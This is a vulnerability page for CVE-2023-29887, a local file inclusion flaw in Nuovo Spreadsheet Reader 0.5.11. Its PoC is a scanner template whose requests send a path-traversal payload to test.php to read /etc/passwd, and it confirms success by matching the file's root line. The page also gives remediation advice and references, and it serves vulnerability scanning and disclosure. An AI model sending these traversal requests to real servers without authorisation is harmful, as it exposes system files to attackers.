CVE-2023-29887: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion

2025-08-01 Nuovo Spreadsheet Reader PoC Public

Description

A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.

PoC

id: CVE-2023-29887

info:
  name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
  author: ctflearner
  severity: high
  description: |
    A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
  remediation: |
    Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
  reference:
    - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
    - https://github.com/nuovo/spreadsheet-reader/issues/169
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29887
    cwe-id: CWE-22
    epss-score: 0.04736
    epss-percentile: 0.9162
    cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nuovo
    product: spreadsheet-reader
  tags: cve2023,cve,nuovo,spreadsheet-reader,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201bf74ecb5bd40e58838c22f296f5b1be736abc128902b430f1012ebae0d21541022100c2d9a1812216ca41f7af10956ad4754b04cbbd26330ece09a7f020f649142c53:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities